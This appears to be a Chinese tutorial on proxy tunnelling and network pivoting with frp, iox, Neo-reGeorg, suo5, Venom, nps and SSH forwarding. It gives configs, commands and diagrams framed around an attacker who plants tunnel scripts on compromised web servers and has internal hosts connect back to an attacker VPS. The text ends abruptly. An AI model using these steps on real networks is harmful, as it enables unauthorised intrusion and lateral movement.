网络代理是一种比较特殊的网络服务,允许一个终端(通常指客户端)通过这个服务与另一个终端(通常指服务器端)进行非直接的连接。通过我们习惯代理分为:正向代理与反向代理两类。
正向代理 正向代理是位于客户端与目标服务器之间的中间服务器,代理的对象是客户端 。客户端主动配置代理地址,将请求先发给代理,由代理代替客户端去访问目标服务器。目标服务器只能看到代理的 IP,无法获知真实客户端的身份。
反向代理 反向代理是位于客户端与真实服务器之间的中间服务器,代理的对象是服务器 。客户端直接访问代理地址,以为自己访问的就是目标服务器,实际上代理将请求转发给后端的真实服务器处理,再将响应返回给客户端。客户端无法感知后端真实服务器的存在。
正向代理与正向代理的区别 都是客户端发起请求,经过代理,到达服务器。它们的本质区别在于:代理是为谁服务的,以及谁感知到代理的存在。
正向代理:代理是为客户端服务的。客户端主动配置代理,明确知道要通过它去访问外部服务器。
反向代理:代理是为服务器端服务的。客户端完全无感知,它认为自己直接访问的就是目标服务器。
为什么容易误解成“按流量划分”?因为从“流量走向”这个视角看,可以这样辅助理解:
正向代理:流量像是从客户端“正向”流出到代理,再流向外部服务器。代理位于客户端的出口侧,代表客户端“出去”。
反向代理:流量像是从客户端流入一个“反向”的入口,然后被代理转发到内部服务器。代理位于服务器的入口侧,代表服务器“迎客”。
但严格来说,这只是一种形象化的描述,并不是技术上的分类标准。因为流量的基本方向永远是“客户端 → 代理 → 服务器”,这点没有颠倒。所谓的“正向”“反向”指的是代理相对于客户端的方位和角色,而不是流量的实际走向。
代理工具的使用记录 FRP frp 是一个专注于内网穿透的高性能的反向代理 应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网。frp由两个组件构成,分为frps的服务器与frpc的客户端。通常来说frpc部署在需要分享其内网环境的设备上运行frpc.ini,frps部署在跳板机设备上运行frps.ini。下面以二层与三层环境来说明下配置
二层环境 在简单的二层环境下,我们有跳板机(IP:10.66.66.16),我们想访问内网机器1的内网段。
因此我们在跳板机(IP:10.66.66.16)部署frps ,基础的编写frps.ini:
1 2 [common] bind_port = 9090
在内网机器1部署frpc,基础的编写frpc.ini:
1 2 3 4 5 6 7 8 9 [common] server_addr = 10.66.66.16 server_port = 9090 [socks5] type = “tcp” remote_port = 8888 //数据传输口 local_port = 8888 //数据转发口 plugin = socks5
在两边通过-c执行后,在跳板机设备链接建立,并且在看到8888端口进行了new proxy [socks5]监听.
1 2 3 4 5 6 7 ./frps -c ./1.txt 2026/06/09 00:31:19 [I] [root.go:206] frps uses config file: ./1.txt 2026/06/09 00:31:19 [I] [service.go:196] frps tcp listen on 0.0.0.0:9090 2026/06/09 00:31:19 [I] [root.go:215] frps started successfully hostname [] os [windows] arch [amd64] 2026/06/09 00:31:21 [I] [tcp.go:64] [995c866e96ffe6ff] [socks5] tcp proxy listen port [8888] 2026/06/09 00:31:21 [I] [control.go:464] [995c866e96ffe6ff] new proxy [socks5] type [tcp] success
在内网设备上,有链接建立成功的提示。
1 2 3 4 5 6 7 8 9 .\frpc.exe -c .\2-frpc.txt WARNING: ini format is deprecated and the support will be removed in the future, please use yaml/json/toml format instead! 2026-06-09 00:32:56.687 [I] [sub/root.go:149] start frpc service for config file [.\2-frpc.txt] 2026-06-09 00:32:56.692 [I] [client/service.go:325] try to connect to server... 2026-06-09 00:32:57.238 [I] [client/service.go:317] [995c866e96ffe6ff] login to server success, get run id [995c866e96ffe6ff] 2026-06-09 00:32:57.238 [I] [proxy/proxy_manager.go:177] [995c866e96ffe6ff] proxy added: [socks5] 2026-06-09 00:32:57.373 [I] [client/control.go:172] [995c866e96ffe6ff] [socks5] start proxy success 2026-06-09 00:32:59.694 [I] [client/service.go:325] [995c866e96ffe6ff] try to connect to server... 2026-06-09 00:33:00.024 [I] [client/service.go:317] [995c866e96ffe6ff] login to server success, get run id [995c866e96ffe6ff]
此时说明代理链接已经建立,我们通过proxychains/Proxifier 这些代理工具访问跳板机 的8888的端口,即可将流量代理出来。
这个过程如下图所所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 跳板机(IP:10.66.66.16)部署frps 内网机器1:部署frpc,共享frpc所在的网络 ┌──────────────────────────┐ ┌──────────────────────────┐ │ │ │ │ │ ┌────────────────────┐ │ │ ┌────────────────────┐ │ │ │ frps │ │ [1] 控制连接 │ │ frpc │ │ │ │ │◄─┼─────────────────────┼──│ │ │ │ │ bind_port = 9090 │ │ (TCP 长连接) │ │ server_addr = │ │ │ │ │ │ │ │ 10.66.66.16 │ │ │ │ │ │ │ │ server_port = 9090 │ │ │ │ │ │ [2] 注册代理 │ │ │ │ │ │ │◄─┼─────────────────────┼──│ [socks5] │ │ │ │ │ │ remote:8888→local: │ │ remote_port = 8888 │ │ │ │ ┌──────────────┐ │ │ 8888,plugin=socks5│ │ local_port = 8888 │ │ │ │ │ :8888 │ │ │ │ │ plugin = socks5 │ │ │ │ │ (代理监听) │ │ │ │ │ │ │ │ │ │ └──────┬───────┘ │ │ │ └──────────┼────────────┘ │ └─────────┼──────────┘ │ └────────────┼─────────────┘ └────────────┼─────────────┘ │ │ │ [3] 外部访问 │ [4] frpc 本地 socks5 代理转发 │ │ ┌─────▼─────┐ ┌──────────▼──────────┐ │ 攻击者 │ proxychains ─► 10.66.66.16:8888 │ └───────────┘ └─────────────────────┘
三层环境 三层环境下的配置思路,与二层的思路配置差不多,总体是一种内网套娃的方面,在一层二层之间起一个frp服务,在第二层与第三层之间又起一个frp服务。
这个过程如下图所所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 第一层 - 跳板机 第二层 - 内网机器1 第三层 - 深层内网机器2 10.66.66.16 172.16.1.10 ┌───────────────────────┐ ┌────────────────────────┐ ┌────────────────────────┐ │ │ │ │ │ │ │ ┌─────────────────┐ │ │ ┌─────────────────┐ │ │ ┌─────────────────┐ │ │ │ frps │ │ [1]控制 │ │ frpc │ │ │ │ │ │ │ bind_port=9090 │◄─┼──────────┼──│ server_addr= │ │ │ │ │ │ │ │ │ 连接 │ │ 10.66.66.16 │ │ │ │ │ │ └────────┬─────────┘ │ │ │ server_port=9090 │ │ │ │ │ │ │ │ │ └─────────────────┘ │ │ │ │ │ ┌────────▼─────────┐ │ [2]代理 │ ┌─────────────────┐ │ │ │ │ │ │ :8888 开放 │◄─┼──────────┼──│ [socks5] │ │ │ │ │ │ │ (socks5 出口) │ │ 注册 │ │ remote_port=8888│ │ │ │ │ │ └────────┬─────────┘ │ │ │ local_port =8888│ │ │ │ │ │ │ │ │ │ plugin =socks5 │ │ │ │ │ └───────────┼────────────┘ │ └─────────────────┘ │ │ │ │ │ │ │ │ │ │ │ │ ┌─────────────────┐ │ [3]控制 │ ┌─────────────────┐ │ │ │ │ frps │ │ 连接 │ │ frpc │ │ │ │ │ bind_addr= │◄──┼──────────┼──│ server_addr= │ │ │ │ │ 172.16.1.10 │ │ │ │ 172.16.1.10 │ │ │ │ │ bind_port=7000 │ │ │ │ server_port=7000 │ │ │ │ └────────┬────────┘ │ │ └─────────────────┘ │ │ │ │ │ │ │ │ │ ┌────────▼────────┐ │ [4]代理 │ ┌─────────────────┐ │ │ │ │ :8888 开放 │◄──┼──────────┼──│ [socks5] │ │ │ │ │ (socks5 出口) │ │ 注册 │ │ remote_port=8888│ │ │ │ └────────┬────────┘ │ │ │ local_port =8888│ │ │ │ │ │ │ │ plugin =socks5 │ │ └───────────┼───────────┘ │ │ │ └────────┬────────┘ │ │ │ │ └───────────┼────────────┘ │ │ │ │ │ │ │ │ ┌──────▼───────┐ ┌──────▼───────┐ ┌──────▼───────┐ ┌──────▼───────┐ │ 第一层 │ │ 第二层 │ │ 第三层 │ │ │ │ socks5 │ │ socks5 │ │ socks5 │ │ 深层内网 │ │ 10.66.66.16 │ │ 172.16.1.10 │ │ 本地代理 │ │ 目标 │ │ :8888 │ │ :8888 │ │ │ │ │ └──────────────┘ └──────────────┘ └──────────────┘ └──────────────┘
具体而言,整个操作步骤如下:
第一层frp服务端:跳板机部署frps 执行1-frps.txt
1 2 [common] bind_port = 9090
第一层frp客户端:内网机器1部署frpc 执行2-frpc.txt
1 2 3 4 5 6 7 8 9 [common] server_addr = 10.66.66.16 server_port = 9090 [socks5] type = tcp remote_port = 8888 //数据传输口 local_port = 8888 //数据转发口 plugin = socks5
第二层frp服务端:内网机器1部署frps执行2-frps.txt
1 2 3 [common] bind_addr = 172.16.1.10 bind_port = 7000
第二层frp客户端:内深层内网机器2部署frps执行3-frpc.txt
1 2 3 4 5 6 7 8 9 [common] server_addr = 172.16.1.10 server_port = 7000 [http_proxy] type = tcp remote_port = 8888 local_port = 8888 plugin = socks5
但是注意的代理工具里也要按照顺序进行配置
proxychains 的/etc/proxychains4.conf策略编写
1 2 3 [ProxyList] socks5 10.66.66.16 8888 socks5 172.16.1.10 8888
Proxifier的策略控制:
iox iox是一款功能强大的端口转发&内网代理工具,该工具的功能类似于lcx和ew,但是iox的功能和性能都更加强大。
二层代理 对应 frp 的 1-frps.txt + 2-frpc.txt,即攻击者 → VPS → 内网的两层结构。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 跳板机 (10.66.66.16) 内网机器1 (172.16.1.10) ┌──────────────────────────┐ ┌──────────────────────────┐ │ │ 主动外连 │ │ │ ./iox proxy │◄─────────────│ ./iox proxy │ │ -l 9090 -l 8888 │ │ -r 10.66.66.16:9090 │ │ │ │ │ │ :9090 :8888 │ │ │ │ 控制口 代理口 │ │ socks5 出口在这里 │ │ ▲ │ │ │ └───────────────┼──────────┘ └──────────────┬───────────┘ │ │ 访问:8888 │ 经代理可达 172.16.1.10 所在网段 │ │ ┌─────▼──────┐ ┌──────────▼──────────┐ │ 攻击者 │ │ 内网目标 │ └────────────┘ └─────────────────────┘
操作命令如下:
跳板机 (10.66.66.16)
1 ./iox proxy -l 9090 -l 8888
-l 9090:控制口,等内网机器连回来
-l 8888:代理口,对外提供 socks5
两个端口顺序不能反,控制口在前,代理口在后
内网机器 (172.16.1.10)
1 ./iox proxy -r 10.66.66.16:9090
-r 10.66.66.16:9090:主动外连 跳板机控制口,与 跳板机那对配对
三层代理 1 2 3 4 5 6 7 8 9 10 11 12 13 14 第一层 - 跳板机 第二层 - 内网机器1 第三层 - 深层内网 10.66.66.16 172.16.1.10 内网机器2 ┌───────────────────────┐ ┌────────────────────────┐ ┌────────────────────────┐ │ │ │ │ │ │ │ iox proxy │ │ iox proxy │ │ iox proxy │ │ -l 9999 -l 1080 │◄───┼── -r 10.66.66.16:9999 │ │ │ │ ▲ ▲ │ │ │ │ │ │ │ │ │ │ iox proxy │ │ iox proxy │ │ │ │ │ │ -l 7777 -l 1080 │◄───┼── -r 172.16.1.10:7777 │ │ │ │ │ │ ▲ ▲ │ │ │ └───────┼──────┼────────┘ └───────┼──────┼─────────┘ └────────────────────────┘ │ │ │ │ [控制口] [代理口] [控制口] [代理口] :9999 :1080 :7777 :1080
逐层命令 第一层 — 跳板机 (10.66.66.16)
1 ./iox proxy -l 9999 -l 1080
-l 9999:监听 9999,等跳板机 frpc 连回来(控制口)
-l 1080:监听 1080,对外提供 socks5 代理(代理口)
注意:两个 -l 顺序不能反,9999 在前,1080 在后
第二层 — 内网机器1 (172.16.1.10)
1 2 3 4 5 # 向上连 VPS ./iox proxy -r 10.66.66.16:9999 # 向下接深层内网 ./iox proxy -l 7777 -l 1080
-r 10.66.66.16:9999:主动外连 跳板机的控制口,注册 socks5 代理(与 跳板机那条成对)
-l 7777 -l 1080:再开一组监听,7777 给深层内网连回来,1080 是第二层 socks5 出口
第三层 — 深层内网机器
1 ./iox proxy -r 172.16.1.10:7777
-r 172.16.1.10:7777:主动外连内网机器1的控制口,注册 socks5 代理(与跳板机那对配对)
proxychains 配置 1 2 3 4 5 6 strict_chain proxy_dns [ProxyList] socks5 10.66.66.16 1080 socks5 172.16.1.10 1080
条目
含义
socks5 10.66.66.16 1080
第一层:直连 VPS 的 socks5,出口在跳板机
socks5 172.16.1.10 1080
第二层:经第一层到达跳板机的 socks5,出口在深层内网
数据流完整路径 1 2 3 4 5 6 7 8 攻击者 跳板机 内网机器1 深层内网 │ │ │ │ │── socks5 ─────────────►│ │ │ │ 10.66.66.16:1080 │── 转发给跳板机 ─────────►│ │ │ │ │── socks5 ──────────────►│ │ │ │ 172.16.1.10:1080 │ │ │ │ │── 连接目标 │◄────────────────── 双向数据转发 ──────────────────────────────────────────────►│
Neo-reGeorg Neo-reGeorg 是一款基于reGeorg 的重构升级版内网穿透隧道工具,主要用于网络安全测试中通过 HTTP 协议建立 SOCKS5 代理隧道,让测试人员能够访问内网资源。
使用流程 如何下,传统三层网络为例子来检测
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 攻击者本地 DMZ (10.66.66.16) 深层内网 (172.16.1.10) ┌───────────────┐ ┌───────────────────────┐ ┌───────────────────────┐ │ │ │ Tomcat │ │ Web Server │ │ neoreg 第1层 │ │ │ │ │ │ -p 1111 ────┼────►│ tunnel.jsp │ │ │ │ │HTTP │ (密码: MyP@ssw0rd) │ │ │ │ │◄───►│ 以容器权限访问内网 │ │ │ │ │隧道 │ │ │ │ │ │ │ │ │ │ │ neoreg 第2层 │ │ │ │ tunnel.jsp │ │ -p 2222 ────┼──┐ │ │ │ (密码: MyP@ssw0rd) │ │ --proxy │ │ │ │ │ │ │ socks5:// │ │ │ │HTTP │ 以容器权限访问深层内网 │ │ 127.0.0.1 │ └──┼─── 经第1层隧道 ────────┼────►│ │ │ :1111 │ │ │ 隧道│ │ │ │ │ │◄───►│ │ └───────────────┘ └───────────────────────┘ └───────────────────────┘
第一步:生成服务端脚本 1 python3 neoreg.py generate -k MyP@ssw0rd
生成后会在 neoreg_servers/ 目录下产出所有类型的服务端脚本:
1 2 3 4 5 6 7 neoreg_servers/ ├── tunnel.jsp # Java 中间件 (Tomcat/WebLogic/JBoss) ├── tunnel.jspx # Java 变体(绕 WAF) ├── tunnel.aspx # IIS + .NET ├── tunnel.ashx # IIS + .NET(一般处理程序) ├── tunnel.php # PHP └── tunnel.asp # 经典 ASP
密码 MyP@ssw0rd 会嵌入脚本中,客户端连接时必须提供相同密码才能建立隧道。每次 generate 产出的脚本内容不同,即使密码相同。
第二步:上传服务端脚本到目标 1 2 3 4 5 6 7 DMZ Web 服务器 (10.66.66.16) 深层内网 Web 服务器 (172.16.1.10) ┌──────────────────────────┐ ┌──────────────────────────┐ │ Tomcat │ │ Tomcat / IIS / Nginx │ │ /webapps/ROOT/ │ │ │ │ tunnel.jsp ◄──── 上传 │ tunnel.jsp ◄──── 上传 │ │ │ │ └──────────────────────────┘ └──────────────────────────┘
根据目标 Web 容器类型,上传对应脚本到可访问的 Web 目录。
第三步:建立第一层隧道 1 python3 neoreg.py -k MyP@ssw0rd -u http://10.66.66.16/tunnel.jsp -p 1111
参数
含义
-k MyP@ssw0rd
与生成脚本时相同的密码
-u http://10.66.66.16/tunnel.jsp
目标服务器上的脚本地址
-p 1111
本地开启 socks5 代理端口
此时本地 127.0.0.1:1111 即为 socks5 代理,出口在 DMZ 服务器上,可访问 172.16.1.0/24 网段。
第四步:建立第二层隧道 1 2 python3 neoreg.py -k MyP@ssw0rd -u http://172.16.1.10/tunnel.jsp -p 2222 \ --proxy socks5://127.0.0.1:1111
参数
含义
-u http://172.16.1.10/tunnel.jsp
深层内网服务器上的脚本
-p 2222
本地再开 socks5 端口 2222
--proxy socks5://127.0.0.1:1111
经第一层代理连接目标 ,否则直连不可达
suo5 suo5 是一个高性能 HTTP 隧道代理工具,它基于双向的 Chunked-Encoding构建, 相比 Neo-reGeorg等传统隧道工具, suo5的性能可以达到其数十倍。
环境部署 从 suo5 的 GitHub 页面下载,注意的是源码仓库 assets/ 目录:https://github.com/zema1/suo5/tree/master/assets下通常包含的服务端脚本:
文件
适用环境
suo5.jsp
Java 中间件(Tomcat、WebLogic、JBoss 等)
suo5.aspx
IIS + .NET Framework >= 2.0
suo5.ashx
IIS + .NET(一般处理程序,更隐蔽)
suo5.jspx
Java 中间件(变体,绕过部分 WAF)
使用流程 1 2 3 4 5 6 7 8 9 10 11 ① 下载 suo5 项目 assets 目录中的服务端脚本 │ ② 根据目标 Web 容器类型选择对应脚本 Tomcat → suo5.jsp IIS → suo5.aspx │ ③ 通过文件上传漏洞 / WebShell 等方式上传到目标站点可执行目录 例:/usr/local/tomcat/webapps/ROOT/suo5.jsp │ ④ 本地运行 suo5 客户端连接 ./suo5 -t http://10.66.66.16/suo5.jsp -l 127.0.0.1:1111
三层场景实例 假设:攻击者通过 suo5 拿到了 DMZ 区 Web 服务器的隧道,但还需要进一步深入内网。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 攻击者 DMZ Web 服务器 (10.66.66.16) 深层内网 (172.16.1.x) ┌──────────────┐ ┌────────────────────────────────┐ ┌──────────────────┐ │ │ │ │ │ │ │ suo5 第一层 │ │ Tomcat / IIS │ │ 内网 Web 服务器 │ │ -t http:// │─────►│ ┌──────────────────────┐ │ │ ┌────────────┐ │ │ 10.66.66.16 │ HTTP │ │ suo5.jsp │ │ │ │ suo5.jsp │ │ │ /suo5.jsp │◄────►│ │ 以 Web 容器权限运行 │──────┼─────►│ │ │ │ │ -l :1111 │ 隧道 │ │ 可访问 172.16.1.0/24 │ │ HTTP │ │ 深层内网 │ │ │ │ │ └──────────────────────┘ │ 隧道 │ │ 可达更多内网│ │ │ suo5 第二层 │ │ │◄────►│ └────────────┘ │ │ -t http:// │ │ │ │ │ │ 172.16.1.10 │ │ │ │ │ │ /suo5.jsp │ │ │ │ │ │ -l :2222 │ │ │ │ │ │ --proxy │ │ │ │ │ │ socks5:// │ │ │ │ │ │ 127.0.0.1 │ │ │ │ │ │ :1111 │ │ │ │ │ └──────────────┘ └────────────────────────────────┘ └──────────────────┘
逐层命令 第一层 — 穿透 DMZ Web 服务器
1 ./suo5 -t http://10.66.66.16/suo5.jsp -l 127.0.0.1:1111
-t:目标 Web 服务器上的 suo5 服务端脚本
-l:本地开启 socks5 代理端口 1111
此时可访问 DMZ 所在的 172.16.1.0/24 网段
第二层 — 穿透深层内网 Web 服务器
1 2 ./suo5 -t http://172.16.1.10/suo5.jsp -l 127.0.0.1:2222 \ --proxy socks5://127.0.0.1:1111
-t:深层内网 Web 服务器上的 suo5 脚本
-l:本地再开 socks5 代理端口 2222
--proxy:关键参数 ,通过第一层 socks5 代理去连接深层目标,否则直连不可达
Venom Venom 是一款用 Go 开发的多级代理工具 ,专为渗透测试设计。与 frp/iox/suo5 不同,Venom 的核心特点是交互式节点管理 ——所有节点连接后由统一控制台管理,支持可视化拓扑、多级 socks5 代理、端口转发和端口复用。
二层代理部署 组件说明
组件
角色
运行位置
admin
控制端(服务端)
攻击者 VPS (10.66.66.16)
agent
被控端(客户端)
内网机器 (172.16.1.10)
环境拓扑图疑似如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 攻击者 VPS (10.66.66.16) 内网1 (172.16.1.10) 深层内网 2(192.168.x.x) ┌──────────┐ ┌───────────────────────┐ ┌───────────────────────┐ ┌───────────────────────┐ │ │ │ │ │ │ │ │ │ proxy- │ │ admin (控制端) │ │ agent → node1 │ │ agent → node2 │ │ chains │────►│ 监听 :9090 │◄───│ 连回 10.66.66.16:9090│ │ │ │ │ │ │ │ │ │ │ │ │ │ :8888 socks5 (node1) │ │ │ │ │ │ │ │ :7777 socks5 (node2) │ │ listen :9999 ◄──────┼────│ 连回 172.16.1.10:9999│ │ │ │ │ │ │ │ │ └──────────┘ └───────────────────────┘ └───────────────────────┘ └───────────────────────┘ admin 交互拓扑: venom >>> show admin ── node1(172.16.1.10) ── node2(192.168.x.x)
步骤一:VPS 启动 admin 监听 1 ./admin_linux_x64 -lport 9090
在 VPS 上监听 9090,等待 agent 连回来
步骤二:内网机器运行 agent 连回 1 ./agent_linux_x64 -rhost 10.66.66.16 -rport 9090
步骤三:控制台操作 admin 接入后进入交互式控制台:
1 2 3 4 5 venom >>> [1] node 1 ← 172.16.1.10 连上来了 venom >>> show [1] node1 172.16.1.10 alive
此时在 node 1 上开启 socks5 代理: 1 2 venom >>> goto 1 [node 1] >>> socks 8888
在 node 1 上开启 socks5,流量经过该节点进入内网
VPS 上 0.0.0.0:8888 即为第一层 socks5 代理
步骤四:深层内网再接入 agent 假设通过第一层代理拿到了深层内网机器的权限,上传 agent 并执行:
1 2 3 # 在深层内网机器上运行 agent # 连向 node 1(跳板机),而非直连 VPS ./agent_linux_x64 -rhost 172.16.1.10 -rport 9090
或者在跳板机上开监听,让深层内网连回来:
1 2 3 4 5 6 # 在 admin 控制台,让 node 1 开启监听 venom >>> goto 1 [node 1] >>> listen 9999 # 深层内网机器连向跳板机 ./agent_linux_x64 -rhost 172.16.1.10 -rport 9999
新节点出现后:
1 2 3 4 5 6 venom >>> show [1] node1 172.16.1.10 alive [2] node2 192.168.x.x alive ← 深层内网 拓扑: admin ── node1 ── node2
在 node 2 上开启 socks5:
1 2 venom >>> goto 2 [node 2] >>> socks 7777
nps nps 是一款轻量级、高性能的内网穿透代理服务器 ,Go 语言开发。与前面所有工具最大的区别在于:nps 自带 Web 管理界面 ,可以在浏览器中完成所有客户端和隧道的配置管理,无需手写配置文件。
nps 与其他工具的架构差异 1 2 3 4 5 6 7 8 9 10 11 frp / iox Venom nps ┌─────────────────┐ ┌─────────────────┐ ┌──────────────────────┐ │ 命令行/配置文件 │ │ 交互式控制台 │ │ Web 管理界面 │ │ 手动编写配置 │ │ 命令行操作 │ │ 浏览器点选配置 │ │ │ │ │ │ │ │ frps ← frpc │ │ admin │ │ nps (Web + API) │ │ frps ← frpc │ │ ├─ node1 │ │ ├─ npc (客户端1) │ │ │ │ └─ node2 │ │ ├─ npc (客户端2) │ │ │ │ │ │ └─ ... │ │ 无管理界面 │ │ 终端拓扑视图 │ │ 图形化仪表盘 │ └─────────────────┘ └─────────────────┘ └──────────────────────┘
对比项
frp / iox
Venom
nps
管理方式
配置文件/命令行
交互式终端
Web 界面
添加客户端
手动写配置
终端操作
网页添加,一条命令接入
添加隧道
手动写配置
终端操作
网页点选
协议支持
TCP/UDP
TCP
TCP/UDP/HTTP/HTTPS/SOCKS5/P2P
认证机制
token
无
vkey(每客户端独立密钥)
扩展代理
需部署新 frps
agent 连入
npc 指定代理即可级联
二层代理部署 组件说明
组件
角色
运行位置
nps
服务端(含 Web 管理)
攻击者 VPS (10.66.66.16)
npc
客户端
跳板机 (172.16.1.10) / 深层内网
步骤一:VPS 部署 nps 服务端
启动后访问 Web 管理界面:
1 2 3 http://10.66.66.16:8080 默认账号: admin 默认密码: 123
步骤二:Web 界面添加客户端 在 Web 管理界面中:客户端 → 新增
填写备注(如”跳板机”),保存后系统会生成该客户端的 vkey 和 接入命令 :
1 2 3 4 唯一验证密钥(vkey): abc123xyz 接入命令: ./npc -server=10.66.66.16:8024 -vkey=abc123xyz
参数
含义
-server
nps 服务端地址 + bridge 端口(默认 8024)
-vkey
该客户端的唯一认证密钥,Web 界面生成
步骤三:跳板机运行 npc 连回 1 ./npc -server=10.66.66.16:8024 -vkey=abc123xyz
跳板机 npc 连上后,Web 界面中客户端状态变为在线 。
步骤四:Web 界面添加 socks5 隧道 在 Web 管理界面中:隧道 → 新增
1 2 3 客户端: 跳板机 模式: socks5 服务端端口: 8888
保存后,VPS 的 0.0.0.0:8888 即为第一层 socks5 代理,出口在跳板机上。
1 2 3 4 5 6 7 8 9 10 11 Web 管理界面操作(浏览器) ┌─────────────────────────────────────────────┐ │ │ │ 客户端管理 隧道管理 │ │ ┌────────────┐ ┌────────────────────┐ │ │ │ 跳板机 ✅在线│ │ socks5 :8888 │ │ │ │ vkey:abc123│ │ 绑定: 跳板机 │ │ │ └────────────┘ └────────────────────┘ │ │ │ └─────────────────────────────────────────────┘ http://10.66.66.16:8080
步骤五:深层内网 npc 接入(第二层) 深层内网机器无法直连 VPS ,需要通过跳板机代理连出。
方式一:npc 指定代理接入
1 2 ./npc -server=10.66.66.16:8024 -vkey=def456uvw \ -proxy=socks5://172.16.1.10:8888
-proxy:通过跳板机已有的 socks5 代理连出,到达 nps 服务端
先在 Web 界面新增客户端获取 vkey(如 def456uvw)
方式二:跳板机再部署一层 nps
在跳板机上运行 nps 服务端,深层内网 npc 连向跳板机:
1 2 3 4 5 # 跳板机 (172.16.1.10) 上启动 nps ./nps start # 深层内网连向跳板机 ./npc -server=172.16.1.10:8024 -vkey=ghi789rst
方式二功能更完整(有独立 Web 管理),但需要在跳板机额外部署 nps。
步骤六:Web 界面添加第二层 socks5 隧道 新增隧道:
1 2 3 客户端: 深层内网 模式: socks5 服务端端口: 7777
保存后,VPS 的 0.0.0.0:7777 即为第二层 socks5 代理。
完整拓扑 1 2 3 4 5 6 7 8 9 10 11 12 13 攻击者 VPS (10.66.66.16) 跳板机 (172.16.1.10) 深层内网 (192.168.x.x) ┌──────────┐ ┌───────────────────────────┐ ┌──────────────────────┐ ┌──────────────────────┐ │ │ │ nps (服务端) │ │ npc (客户端1) │ │ npc (客户端2) │ │ 浏览器 │───►│ │◄───│ -server=10.66.66.16 │ │ │ │ :8080 │Web │ Web管理界面 :8080 │8024│ -vkey=abc123xyz │ │ │ │ │管理 │ Bridge端口 :8024 │ │ │ │ │ │ │ │ │ │ │ │ │ │ proxy- │ │ :8888 socks5 (客户端1) │ │ 出口在本机 │ │ │ │ chains │ │ :7777 socks5 (客户端2) │ │ │ │ -server=10.66.66.16 │ │ │ │ │ │ socks5 :8888 ◄─────┼────│ -vkey=def456uvw │ └──────────┘ └───────────────────────────┘ └──────────────────────┘ │ -proxy=socks5:// │ │ 172.16.1.10:8888 │ └──────────────────────┘
SSH SSH 协议其实内置了隧道/代理能力,不需要任何额外工具,只要目标开了 SSH 服务就能用。ssh共提供4种模式:
模式
命令参数
方向
本质
本地转发
ssh -L
本地 → 远端
端口映射(正向)
远程转发
ssh -R
远端 → 本地
端口映射(反向/内网穿透)
动态转发
ssh -D
SOCKS5 代理
任意目标转发
代理跳转
ssh -J
经跳板机连接
多跳串联
本地转发(-L) 把远端的某个端口映射到本地,访问本地端口等于访问远端。
1 ssh -L [本地地址:]本地端口:目标地址:目标端口 用户@SSH服务器
示例:
1 2 3 4 5 6 7 8 9 ssh -L 3306:127.0.0.1:3306 user@10.66.66.16 本地 SSH服务器 (10.66.66.16) ┌──────────────┐ ┌───────────────────────┐ │ │ SSH 加密 │ │ │ localhost │◄──────────►│ 127.0.0.1:3306 │ │ :3306 │ 隧道 │ (MySQL 服务) │ └──────────────┘ └───────────────────────┘ 访问 localhost:3306 ←──── 实际到达 → 10.66.66.16 的 3306
目标地址不限于 SSH 服务器自身,可以是 SSH 服务器能访问到的任意主机:
1 2 3 4 5 ssh -L 8080:192.168.1.100:80 user@10.66.66.16 本地 SSH服务器 (10.66.66.16) 内网 (192.168.1.100) ┌────────┐ ┌───────────────┐ ┌───────────────┐ │:8080 │──────►│ SSH 转发 │─────────────►│ :80 Web │ └────────┘ SSH隧道 └───────────────┘ 普通TCP └───────────────┘
适用场景: 访问远端数据库、内网 Web 服务、远程桌面等固定端口服务。
远程转发(-R) 把本地的某个端口映射到远端,让远端或其他机器能访问到本地的服务。 这是 SSH 的内网穿透方式。
1 ssh -R [远端地址:]远端端口:目标地址:目标端口 用户@SSH服务器
示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ssh -R 9090:127.0.0.1:3389 user@10.66.66.16 SSH服务器 (10.66.66.16) 本地 ┌───────────────────────┐ ┌──────────────┐ │ │ SSH 加密 │ │ │ 0.0.0.0:9090 │◄──────────►│ 127.0.0.1 │ │ (对外开放) │ 隧道 │ :3389 (RDP) │ └──────────┬────────────┘ └──────────────┘ │ 外部访问 :9090 │ ┌─────▼─────┐ │ 任意用户 │ └───────────┘ 外部访问 10.66.66.16:9090 ←── 穿透到达 ──→ 本地的 3389
远程转发是 frp 的前身思想:本地主动连 SSH 服务器建立隧道,远端开放端口让其他人通过隧道访问本地服务。
注意:默认远端只监听 127.0.0.1,需要 SSH 服务器 sshd_config 中设置 GatewayPorts yes 才能监听 0.0.0.0 对外开放。
适用场景: 内网穿透、把本地服务暴露给公网、远程协助。
动态转发(-D) 在本地开一个 SOCKS5 代理端口,所有经过该代理的流量通过 SSH 隧道从远端出去。 不限定目标地址和端口,由 SOCKS5 协议动态决定。
1 ssh -D [本地地址:]本地端口 用户@SSH服务器
示例:
1 2 3 4 5 6 7 8 9 10 11 ssh -D 1080 user@10.66.66.16 本地 SSH服务器 (10.66.66.16) ┌──────────────────────┐ ┌───────────────────────┐ │ SOCKS5 代理 │ SSH │ │ │ 127.0.0.1:1080 │◄──────►│ 出口在本机 │ │ │ 隧道 │ 可访问 172.16.1.0/24 │ │ 浏览器/curl/ │ │ │ │ 任何支持SOCKS5的软件 │ │ │ └──────────────────────┘ └───────────────────────┘ proxychains + :1080 → 可访问 SSH 服务器可达的所有内网
与 -L 的关键区别:
1 2 3 4 5 -L 本地转发: 一对一,只能映射一个固定端口 本地:3306 → 固定目标 127.0.0.1:3306 -D 动态转发: 一对全部,SOCKS5 协议动态决定目标 本地:1080 → 任意目标:任意端口
proxychains 配置:
1 2 3 4 5 strict_chain proxy_dns [ProxyList] socks5 127.0.0.1 1080
适用场景: 需要访问整个内网网段而非固定端口,渗透代理链路,浏览器代理上网。
代理跳转(-J) 经一台或多台跳板机连接目标服务器。 SSH 8.4+ 原生支持。
1 ssh -J user1@跳板机A[,user2@跳板机B] user@目标服务器
示例 — 单跳:
